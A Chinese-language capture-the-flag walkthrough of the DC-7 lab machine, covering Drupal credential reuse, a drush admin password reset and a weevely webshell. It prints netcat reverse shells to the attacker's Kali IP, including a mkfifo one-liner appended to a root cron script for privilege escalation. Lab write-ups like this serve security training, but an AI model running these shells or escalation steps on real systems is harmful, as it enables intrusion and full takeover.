1. 程式人生 > 其它 >【DC】DC-7

【DC】DC-7

kali:192.168.223.131
target:192.168.223.160

首先確定目標IP為192.168.223.160

arp-scan -l

nmap掃描開放埠,發現開啟22(SSH)、80(HTTP)

//檢視是否存活
nmap -sP 192.168.223.160
//主動掃描
nmap -A -p- 192.168.223.160

訪問一下,是一個drupal,這裡看到左下角顯示了作者

去GitHub搜一下,有這個人,同時將這些檔案下載下來,此時我們可以看到整個網站的結構

裡面的config.php中記錄了他的資料庫的使用者名稱和密碼為dc7user和MdR3xOgB7#dW

我們猜測資料庫賬號密碼和SSH密碼統一,嘗試一下,可以登陸他的伺服器

當前目錄下有一個backups的資料夾,裡面有兩個gpg格式的加密檔案,先放著,然後回去看到有一個mbox檔案,打開發現裡面說運行了/opt/scripts/backups.sh的檔案,之後才生成gpg兩個檔案

前往該檔案,cat一下,根據程式碼判斷是資料庫的備份命令,可能是定時啟動方便管理員管理,看到網站目錄在/var/www/html

由於是drupal搭建且backups.sh檔案中出現drush命令,百度一下是修改管理員密碼,使用drush進行修改,success

drush user-password admin --password="123456"

進入網站後臺,在content新增文章,新增Basic page,在裡面允許編輯程式碼,但是不允許寫入php,百度後知道Drupal 8後為了安全,需要將php單獨作為一個模組匯入,通過Extend安裝模組,將該模組裝進去

https://www.drupal.org/project/php

上傳到網站,再Extend—list中將其打勾,此時可以在content中編寫php程式碼

生成木馬對目標伺服器進行控制,之前都是weevely控制,但是它不太穩定,換成nc,然後進入目標伺服器

weevely generate 123456 shell.php
weevely http://192.168.223.160/node/5 123456

nc -lvnp 9988
nc -e /bin/bash 192.168.223.131 9988

重新進入/opt/scripts,backups.sh的許可權是root,向其中追加命令達到提權

//相當於建立一個管道讓我們去輸出
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.223.131 1234 > /tmp/f" >> backups.sh
//開啟監聽
nc -lvnp 1234
//執行backups.sh
./backups.sh

但是此時發現不是root許可權

思考一下,原因在於我們執行的時候是www許可權,而只有在計劃任務定時執行時才是root許可權,所以重新監聽,等待上線

在等待的過程中,重新通過ssh連線dc7user使用者,注意到有一封郵件

通過郵件判斷出執行每次計劃任務是15min,不是很久,所以就慢慢等啦

此時反彈shell,獲得root許可權,進入root目錄,拿到flag